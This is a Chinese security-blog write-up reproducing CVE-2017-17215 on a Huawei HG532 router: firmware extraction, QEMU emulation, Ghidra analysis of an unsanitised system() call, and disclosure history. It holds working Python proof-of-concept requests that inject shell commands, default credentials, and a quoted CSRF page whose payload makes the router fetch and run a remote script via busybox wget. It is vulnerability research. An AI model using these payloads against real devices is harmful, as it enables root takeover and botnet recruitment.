😇
牛牛的安全 Odin
  • 个人介绍
  • 数据安全
  • 工控安全
    • 工控概念
  • 车联网安全合规
    • R155
    • CSMS\VTA
    • GDPR认证
  • 车联网安全
    • 漏洞订阅
    • 汽车攻击时间轴
    • 汽车信息安全研究
      • 车厂安全需求 Custom Requirement
      • 安全威胁
      • 参考文章
      • Who’s Behind the Wheel?
      • 安全研究基础
      • 智能网联汽车安全渗透指标
      • 智能网联汽车软件安全测试关键技术研究
      • 基于硬件在环的整车控制器功能安全测试技术研究
      • 智能网联汽车信息安全解决方案
      • 自动驾驶汽车的安全性-识别挑战
    • ECU逆向案例
      • 特斯拉攻击链
      • 汽车动力系统ECU固件逆向工程初探
  • 物联网安全
    • IoT 技术和协议
    • 智能设备常规测试思路总结
    • 各种调试接口(SWD、JTAG、Jlink、Ulink、STlink)的区别
    • QEMU 系统仿真
      • 如何“用 QEMU 模拟它”
      • 处理加密的路由器固件
    • 自动分析Automated Approach
    • IOT渗透测试(一)
    • 物联网安全目录
  • 固件分析案例
    • 智能门锁、手环
      • MCU固件反汇编
      • 云丁鹿客门锁中bootloader和FreeRTOS的分析
      • 云丁鹿客门锁BLE通信的分析(下)
      • 云丁鹿客门锁BLE通信的分析(中)
      • 云丁鹿客门锁BLE通信的分析(上)
      • 华为智联旗下小豚AI摄像头的完整分析(下)
      • 华为智联旗下小豚AI摄像头的完整分析(上)
      • 海康萤石智能门锁的网关分析(4)
      • 海康萤石智能门锁的网关分析(3)
      • 海康萤石智能门锁的网关分析(2)
      • 海康萤石智能门锁的网关分析(1)
      • idapython编写和调试
      • 果加智能门锁的全面分析(下)
      • 果加智能门锁的全面分析(中)
      • 果加智能门锁的全面分析(上)
      • BLE智能手环
      • 耶鲁智能门锁的简单测试(下)
      • 耶鲁智能门锁的简单测试(上)
      • 耶鲁门锁漏洞
      • 对一款BLE灯泡的分析
      • BLE协议栈与Android BLE接口简介
    • 在IoT设备中查找端口对应进程的四种方法
    • 路由器命令执行
    • 对基于Philips TriMedia CPU的网络摄像机进行逆向工程
    • 从Microsoft Band以及 Hello Sense 设备中提取自己的历史数据
    • CVE-2021-22909- 深入研究 UBIQUITI 固件更新错误
    • 复现|摄像头固件重打包
    • Dlink_DWR-932B路由器固件分析
    • 针对小米九号平衡车的无接触式攻击
    • 记一次智能印章设备的漏洞挖掘
  • APP 逆向
    • Go二进制文件逆向分析从基础到进阶——综述
    • Switch APP逆向分析
  • 传统静态代码分析
    • 静态分析案例
      • ELF恶意软件的静态分析原理和方法(上)
      • ELF恶意软件的静态分析原理和方法(下)
    • 静态代码分析工具清单
    • 企业级静态代码分析工具清单
  • 应用安全测试
    • DAST、SAST、IAST
    • IAST 工具初探
  • 芯片架构
    • ARM指令集概念
    • ARM指令集
    • 冯·诺伊曼结构
    • 指令集
    • 处理器架构、指令集和汇编语言,三者有何关系?
  • 病毒分析
    • 熊猫烧香
  • 编程知识
    • REST API 教程
  • 流量分析工具
    • 卡巴斯基开源的智能手机流量劫持工具
    • 利用 Burp Suite 劫持 Android App 的流量(二)
    • 利用 Burp Suite 劫持 Android App 的流量(一)
  • 区块链安全
    • 安全多方计算
    • Chainalysis 团队从区块链的角度分析发现 2020 年最大的 4 起勒索软件攻击实现存在关联
  • 攻击案例
    • 特斯拉Powerwall网关可能受到黑客攻击
  • 移动应用
    • Mac上使用Charles抓包
    • 手机抓包工具汇总
    • APP渗透测试流程和技巧大全
    • 加壳和脱壳
    • 浅谈 Android Dex 文件
    • 移动应用漏洞分析样例分享
    • 移动应用常见漏洞分析
    • 移动应用漏洞分析工具介绍
    • 渗透测试流程详解 及 移动APP安全测试要点
    • Frida Android hook
  • 安全设计
    • 【软件安全设计】安全开发生命周期(SDL)
Powered by GitBook
On this page
  1. 固件分析案例

路由器命令执行

Previous在IoT设备中查找端口对应进程的四种方法Next对基于Philips TriMedia CPU的网络摄像机进行逆向工程

Last updated 3 years ago

以华为路由器为例,使用QEMU仿真模拟并分析该漏洞的成因。

1 解压固件

尝试binwalk提取文件系统:

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

解压出来的有很多文件,最主要的就是squashfs文件系统这个文件夹

2 模拟仿真

首先在解包的文件系统中找一个可执行文件,使用file命令查看一下系统架构等信息

如上图所示,可以知道该系统为MIPS架构,因此我们在启动QEMU的时候需要使用MIPS的内核以及文件系统:

下载地址:

https://people.debian.org/~aurel32/qemu/mips/

因为我们期望宿主机能够和QEMU仿真机处在同一个网络环境中,所以我们要对网络进行设置,首先是在宿主机中配置tap网络:

sudo tunctl -t tap0 -u root
sudo ifconfig tap0 192.168.3.1/24
sudo ifconfig

接下来启动QEMU:

sudo qemu-system-mips -M malta -kernel ./vmlinux-3.2.0-4-4kc-malta -hda ./debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -s

账号密码均为root

给qemu中的仿真机设置IP地址

为了方便上传解包的文件系统,我们这里先用tar将文件系统打包

使用SCP传输文件

在QEMU仿真机中解压

挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh

通过ssh连接qemu,并启动路由器「此处需要再次执行chroot」

启动路由器

通过之前的qemu终端我们可以查看到ip地址已经发生变化,因此sh登陆的链接已经被断开,所以我们这里再将IP地址修改回来

这个时候再使用浏览器访问192.168.3.2即可

账号密码分别为:admin / @Hua1234,存在于固件压缩包的账号密码文件内:

3 漏洞复现

根据网上的复现文章,payload如下:

import requests 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看到在NewStatusURL标签处注入了代码,例如上面的POC为创建一个名为hell的文件夹。

4 漏洞分析

我们可以看到这sprinf将418和414变量直接写入到了1040字符串,未经过任何验证就直接使用system执行


int FUN_0040749c(int param_1)
{
  int iVar1;
  int local_418;
  int local_414;
  char acStack1040 [1028];
  
  iVar1 = ATP_XML_GetChildNodeByName(*(undefined4 *)(param_1 + 0x2c),"NewDownloadURL",0,&local_418);
  if (((iVar1 == 0) && (local_418 != 0)) &&
     (iVar1 = ATP_XML_GetChildNodeByName
                        (*(undefined4 *)(param_1 + 0x2c),"NewStatusURL",0,&local_414), iVar1 == 0))
  {
    if (local_414 != 0) {
      snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
               local_418,local_414);
      system(acStack1040);
    }
  }
  return iVar1;
}

可以看到程序通过ATP_XML_GetChildNodeByName函数来获取NewDownloadURL节点的内容,然后判断结果是否为空,如果获取成功且结果不为空则继续获取NewStatusURL节点的内容,再判断结果是否空,如果不为空则将NewDownloadURL和NewStatusURL节点的内容拼接到字符串,并执行。

此处我们就可以构造插入命令执行

POC如下:

import requests 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir hell;</NewStatusURL>
   <NewDownloadURL>;mkdir hello;</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)

在两个注入点分别注入不同的命令,qemu仿真机建立的文件如下

5 漏洞扩展

值得一提的是,该路由器的upnp只能从内网端口访问,默认无法从外网端口访问,那我们有什么办法扩大该漏洞影响呢?

通过查阅资料,我们发现了salt@腾讯玄武实验室师傅对该漏洞的探索,如下:

要成功发起该请求需要满足以下两点:一是成功通过服务器端的HTTP基础认证,二是构造XML攻击代码。仔细观察HTTP基础认证的字段,我们可以发现,用于基础认证的用户名和密码为dslf-config:admin。因此我们只需要构造表单,使之POST到http:// dslf-config:admin @routerip:37215即可自动完成基础认证。接下来就是如何用表单来构造一个XML的请求包了https://paper.seebug.org/498/

最终,salt师傅构造的CSRF攻击payload如下:

<body onload='document.forms[0].submit()'>
  <form method='POST' enctype='text/plain' action="http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1">
    <input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
  </form>
</body>

攻击者只要诱使用户访问包含上述代码的页面,存在漏洞的路由器就会远程下载一个bash脚本并以root的身份执行

能够将仅能在内网触发的漏洞扩大到远程攻击的想法,值得我们在每次漏洞挖掘中去思考

5 漏洞影响

在Satori僵尸网络事件中,攻击者使用的0day漏洞为华为家用路由器HG532远程执行任意代码(CVE-2017-17215),payload是名为OKIRU/SATORI,是Mirai的升级版变种。攻击发起者的昵称为Nexus Zeta

研究人员确认了漏洞后,就通报给华为,华为安全团队非常给力,很快对该漏洞进行了响应和修复,并提供了补丁

关于该僵尸漏洞的详细信息,可以阅读如下报告:https://cloud.tencent.com/developer/news/7159

Time Line:

  • 2018-02-06 V1.5 UPDATED Updated the description

  • 2017-12-22 V1.4 UPDATED Added the description of solution

  • 2017-12-14 V1.3 UPDATED Added CVE-ID

  • 2017-12-07 V1.2 UPDATED Added Temporary Fixes

  • 2017-12-06 V1.1 UPDATED Added the IPS signature

  • 2017-11-30 V1.0 INITIAL

参考引用:

https://xz.aliyun.com/t/8494
https://xz.aliyun.com/t/4819
https://paper.seebug.org/498/
https://xz.aliyun.com/t/4130#toc-5
https://f01965.com/2020/07/25/CVE-2017-17215/
https://research.checkpoint.com/2017/good-zero-day-skiddie/

首先需要分析出这37215端口的应用程序「此处对应的程序为upnp|」,然后对该程序进行逆向。从POC中可以分析,注入点是在<NewStatusURL>,通过在Ghidra中搜索该字符串,并查找交叉引用,找到目标函数「IDA不大行,没法F5,我也不知道为啥,求知道的师傅讲解」:

怎么查找端口对应的程序可以参照我们之前的一篇文章